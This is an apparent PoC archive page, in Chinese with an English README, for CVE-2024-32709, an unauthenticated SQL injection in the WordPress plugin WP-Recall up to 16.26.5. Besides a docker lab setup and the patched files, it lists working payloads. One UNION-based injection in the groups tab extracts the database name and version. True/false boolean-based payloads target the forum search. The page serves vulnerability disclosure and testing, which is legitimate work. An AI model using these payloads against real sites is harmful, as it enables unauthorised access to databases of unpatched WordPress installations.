关联漏洞
标题:WordPress plugin WP-Recall SQL注入漏洞 (CVE-2024-32709)Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WP-Recall 16.26.5 版本及之前版本存在SQL注入漏洞，该漏洞源于存在 SQL 注入漏洞。
介绍
# CVE-2024-32709-Poc
WP-Recall – Registration, Profile, Commerce & More <= 16.26.5 - Unauthenticated SQL Injection
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-recall/wp-recall-registration-profile-commerce-more-16265-unauthenticated-sql-injection
Build wordpress: docker-compose -f stack.yml up
Diff wp-recall.16.26.5 vs wp-recall.16.26.6
- File: wp-recall\add-on\groups\classes\class-rcl-groups-list.php (Add-on Groups)
- File: wp-recall\add-on\prime-forum\classes\class-prime-query.php (Add-on PrimeForum)
- File: wp-recall\add-on\rating-system\core.php (Add on Rating System)
Note: After install wp-recall Default Config
- Add-on Groups default: Inactive
- Add-on PrimeForum default: Inactive
- Add-on Rating System default: Active
### Exploit Unauthenticated SQL Injection Add-on Groups (Require status: Active)
Step 1 File: wp-recall\add-on\groups\classes\class-rcl-groups-list.php
Step 2: Search Initialize the object with class `Rcl_Groups_List` with keyword "new Rcl_Groups_List("
- File: add-on\groups\shortcodes.php
Step 3: Search for functions that call the function rcl_get_grouplist
- File: add-on\groups\index.php
### Payload: ``` <Host>/account/?user=1&tab=groups&group-name=p'+or+'%'='%'+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat("Database:",database(),0x7c,"Version:",version()),13--+- ```
### Exploit Unauthenticated SQL Injection Add-on PrimeForum (Require status: Active)
Step 1 File: wp-recall\add-on\prime-forum\classes\class-prime-query.php => function setup_child_items()
Step 2: Search Initialize the object with class `PrimeQuery` with keyword "new PrimeQuery("
- File: add-on\prime-forum\index.php
- File: wp-recall\add-on\prime-forum\classes\class-prime-query.php
### Exploit Boolean-based SQL injection
Payload condition true: ``` /forum/?fs=.%'+or+if(1=1,'%',1)=' ```
Payload condition false: ``` /forum/?fs=.%'+or+if(1=2,'%',1)=' ```
### Exploit Add-on Rating System: (Comming Soon) ```[ratinglist days="{injection}"] ```
文件快照
[4.0K] /data/pocs/e74de20ce44f4d468fa3d02e81ebd554aa109672
├── [3.6K] README.md
├── [ 607] stack.yml
├── [1.8M] wp-recall.16.26.5.zip
└── [1.8M] wp-recall.16.26.6.zip
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。